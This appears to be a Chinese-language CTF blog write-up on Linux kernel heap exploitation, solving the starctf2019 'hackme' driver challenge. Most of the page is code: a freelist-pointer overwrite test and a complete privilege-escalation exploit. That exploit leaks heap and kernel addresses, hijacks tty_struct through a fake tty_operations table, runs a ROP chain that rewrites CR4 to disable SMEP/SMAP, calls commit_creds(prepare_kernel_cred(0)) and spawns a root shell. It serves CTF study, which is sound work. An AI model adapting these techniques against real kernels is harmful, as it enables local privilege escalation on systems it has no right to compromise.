0%

linux kernel pwn学习之堆漏洞利用+bypass smap、smep

Linux内核使用的是slab/slub分配器,与glibc下的ptmalloc有许多类似的地方。比如kfree后,[原来的用户数据区的前8字节会有指向下一个空闲块的指针]{.mark}。如果用户请求的大小在空闲的堆块里有满足要求的,则直接取出。

通过调试,可以发现,被释放的堆的**[数据域前8字节]{.mark}正好指向下一个空闲堆的[数据域]{.mark}**

与glibc下的ptmalloc2不同的是,slab/slub分配的堆的大小不是数据域加头结构的大小,而是与slab/slub里面的内存”桶”对齐的。我们可以查看slab/slub有哪些”桶”,以root身份,在终端输入

1
2
//查看slab的内存桶  
# cat /proc/slabinfo

我们看到,有这些桶,比如8K的,专门管理8K的堆空间,16字节的专门管理16字节的堆空间。而**[我们申请的空间大小,是向上对齐,比如,我们要申请600字节的空间,那么slab分配的空间大小实际为1K。并且,大小相同的堆靠在一起。]{.mark}**

因此,如果要利用溢出写的话,应该以实际大小来计算偏移等。

还有一个比较容易利用的就是,[我们如果可以伪造空闲块的next指针,则可以很容易分配到我们想要读写的地方]{.mark},不像ptmalloc2里的堆那样,还需要伪造堆结构,这里**[只需要更改next指针,即可达到目的]{.mark}**,为了加深理解,我们以starctf2019-hackme这题为例

starctf2019-hackme

首先,查看一下启动脚本,发现,开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误。

1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \  
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-gdb tcp::1234 \
-cpu qemu64,smep,smap 2>/dev/null

然后,我们用IDA分析一下驱动文件hackme.ko

类似于用户态程序常规的增删改查堆题

经过分析,用户态需要传入的数据结构体为

1
2
3
4
5
6
7
8
//发送给驱动的数据结构  
struct Data {
uint32_t index; //下标
uint32_t padding; //填充
char *buf; //用户的数据
int64_t buf_len; //用户的数据的长度
int64_t offset; //偏移
};

漏洞点在于**[offset和user_buf_len是有符号数]{.mark},那么,我们就能[一个传入负数,一个传入正数,实现堆溢出,我们可以轻松的向上溢出]{.mark}**,修改前面的区域。

首先,不急于做题

为了证明我们可以轻松的伪造空闲堆的前八字节的next指针,从而达到分配到任意地址,我们做个试验。那么,我们需要先关闭smap机制,在脚本里把它注释掉。然后,我们通过溢出,修改next指针,看看,这里是test.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>  
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//驱动的fd
int fd;

void initFD() {
fd = open("/dev/hackme",O_RDWR);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}

//发送给驱动的数据结构
struct Data {
uint32_t index; //下标
uint32_t padding; //填充
char *buf; //用户的数据
int64_t buf_len; //用户的数据的长度
int64_t offset; //偏移
};

//创建堆
void create(unsigned int index,char *buf,int64_t len) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = 0;
ioctl(fd,0x30000,&data);
}

void kdelete(unsigned int index) {
struct Data data;
data.index = index;
ioctl(fd,0x30001,&data);
}

void edit(unsigned int index,char *buf,int64_t len,int64_t offset){
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30002,&data);
}

void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30003,&data);
}

char buf[0x1000] = {0};

char buf2[0x100]= {0};

void fillBuf() {
for (int i=0;i<0x1000;i++) {
buf[i] = 'a';
}
}
int main() {
initFD();
create(0,buf,0x100); //0
create(1,buf,0x100); //1
kdelete(0);
//修改堆0的next指针,指向我们用户区的buf2
((size_t *)buf)[0] = &buf2;
edit(1,buf,0x100,-0x100);
//为了看的清除,我们把buf填充上数据
fillBuf();
//分配堆0
create(0,buf,0x100); //0
//分配到buf2
create(2,buf,0x100); //2
//全程,我们没有给buf2填充,我们看看buf2现在的内容
printf("buf2=%s\n",buf2);
return 0;
}

程序执行后,结果是这样的

可以看到,我们通过伪造空闲堆块的next指针,就直接实现了任意地址的读写。这比用户态的堆简单多了。

那么,本题的解题思路自然是很多

1
2
3
4
5
6
7
8
9
/* 
* initialise the credentials stuff
*/
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

我们可以在调试期间,修改启动脚本,使得系统一开始就是root权限,然后,我们查看一下cred_init的地址

1
2
# cat /proc/kallsyms | grep cred_init  
ffffffff84670946 T cred_init

然后,我们用IDA打开vmlinux文件,没有的话,可以用extract-vmlinux解压出来。根据地址后几字节,找到这个函数

我们查看函数,就能得到cred结构的大小

但是,由于cred结构的申请使用的是create_kmalloc_cache,这意味着它不大可能直接从我们这边的空闲堆块里取,而是从它的缓存空间里分配。

因此,我们来了一个可靠的

方法3,分配tty_struct结构到空闲堆

之前,我在https://blog.csdn.net/seaaseesa/article/details/104577501这篇博客里详细讲到了UAF控制tty_struct,这里是同样的道理,我们能够使用堆溢出来控制。本题,我们要还要克服一个限制,那就是smap机制,**[smap机制不让内核直接使用用户空间的数据,而我们的rop、伪造的fake_tty_operations都布置在用户空间的内存里。与smep一样,判断它们的开启与否,都是看cr4寄存器里的值,如果在之前能够有机会执行mov cr4,xxx,使得cr4寄存器的第21位为0,即可关闭smap机制。]{.mark}**然而,比较难有这个机会,因此我们直接把这些数据复制一份到内核的堆里,即可绕过这个机制。

当我们把rop、fake_tty_operations布置在堆里,那么,我们还需要泄露堆地址,才能利用。泄露堆地址很简单,溢出读取前一个空闲堆块的next域即可。

直接上完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#include <stdio.h>  
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0XFFFFFFFF81000000
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//swapgs ; popfq ; pop rbp ; ret
size_t SWAPGS = 0xffffffff81200c2e;
//iretq
size_t IRETQ = 0xFFFFFFFF81019356;
//commit_creds函数
size_t COMMIT_CREDS = 0xFFFFFFFF8104D220;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xFFFFFFFF8104D3D0;
//push rax ; pop rsp ; cmp qword ptr [rdi + 8], rdx ; jae 0xffffffff810608e8 ; ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810608d5;
size_t POP_RAX = 0xffffffff8101b5a1;
size_t POP_RSP = 0xffffffff810484f0;

//驱动的fd
int fd;

void initFD() {
fd = open("/dev/hackme",O_RDWR);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}

//发送给驱动的数据结构
struct Data {
uint32_t index; //下标
uint32_t padding; //填充
char *buf; //用户的数据
int64_t buf_len; //用户的数据的长度
int64_t offset; //偏移
};

//创建堆
void create(unsigned int index,char *buf,int64_t len) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = 0;
ioctl(fd,0x30000,&data);
}

void kdelete(unsigned int index) {
struct Data data;
data.index = index;
ioctl(fd,0x30001,&data);
}

void edit(unsigned int index,char *buf,int64_t len,int64_t offset){
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30002,&data);
}

void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30003,&data);
}

char buf[0x1000] = {0};

//初始化函数和gadgets的地址
void init_addr(size_t kernel_base) {
MOV_CR4_RAX += kernel_base - RAW_KERNEL_BASE;
printf("mov_cr4_rax_addr=0x%lx\n",MOV_CR4_RAX);
SWAPGS += kernel_base - RAW_KERNEL_BASE;
printf("swapgs_addr=0x%lx\n",SWAPGS);
IRETQ += kernel_base - RAW_KERNEL_BASE;
printf("iretq_addr=0x%lx\n",IRETQ);
COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
printf("commit_creds_addr=0x%lx\n",COMMIT_CREDS);
PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
printf("prepare_kernel_cred_addr=0x%lx\n",PREPARE_KERNEL_CRED);
PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
printf("push_rax_pop_rsp_addr=0x%lx\n",PUSH_RAX_POP_RSP);
POP_RSP += kernel_base - RAW_KERNEL_BASE;
printf("pop_rsp_addr=0x%lx\n",POP_RSP);
POP_RAX += kernel_base - RAW_KERNEL_BASE;
printf("pop_rax_addr=0x%lx\n",POP_RAX);
}

void getRoot() {
//函数指针
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
//commit_creds(prepare_kernel_cred(0))
(*cc)((*pkc)(0));
}

void getShell() {
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
}

size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
puts("user states have been saved!!");
}

int main() {
//保存用户态寄存器
saveUserState();
initFD();
//创建一个与TTY_STRUCT_SIZE结构体大小一样的堆
create(0,buf,TTY_STRUCT_SIZE);
//由slab分配器的性质,大小相同的堆挨在一起,所以我们
//再创建一个TTY_STRUCT_SIZE的堆,用于向上越界
create(1,buf,TTY_STRUCT_SIZE);
//释放大小为TTY_STRUCT_SIZE的第一个堆
kdelete(0);
//由于开启了smap,我们需要把ROP、fake_tty_operations这些放内核的堆空间里
create(2,buf,0x100);
create(3,buf,0x100);
kdelete(2);
//2里面会有下一个空闲块的地址,就能算出2的地址
readBuf(3,buf,0x100,-0x100);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("heap2_addr=0x%lx\n",heap_addr);
//伪造tty_operations函数表
size_t fake_tty_operations[0x20];
//tty_struct结构申请到了堆0
int tty_fd = open("/dev/ptmx",O_RDWR);
//将tty_struct结构读取出来
readBuf(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE);
//获得一个vmlinux里的某处地址,减去偏移,就是内核的基地址
size_t kernel_base = ((size_t *)buf)[3] - 0x625D80;
printf("kernel_base=0x%lx\n",kernel_base);
//初始化gadgets和函数的地址
init_addr(kernel_base);
//构造ROP
size_t rop[0x20];
int i = 0;
/*rop同时关闭了smap、semp*/
rop[i++] = POP_RAX;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RAX;
rop[i++] = 0;
rop[i++] = (size_t)getRoot;
rop[i++] = SWAPGS;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = IRETQ;
rop[i++] = (size_t)getShell;
rop[i++] = user_cs;
rop[i++] = user_flags;
rop[i++] = user_sp;
rop[i++] = user_ss;
//将rop保存到内核的堆里,绕过smap
create(2,(char *)rop,0x100);
size_t rop_addr = heap_addr;
//对tty_fd执行write,将触发这个gadget进行第一次转转移
fake_tty_operations[7] = PUSH_RAX_POP_RSP;
//栈再一次转移到rop数组里
fake_tty_operations[0] = POP_RSP;
fake_tty_operations[1] = rop_addr;
//将fake_tty_operations保存到内核的堆里,绕过smap
kdelete(3);
create(3,(char *)fake_tty_operations,0x100);
size_t fake_tty_operations_addr = heap_addr + 0x100;
((size_t *)buf)[3] = fake_tty_operations_addr; //篡改tty_operations指针
edit(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE); //把篡改后的数据写回去
//触发栈转移,执行ROP
write(tty_fd,buf,0x10);
return 0;
}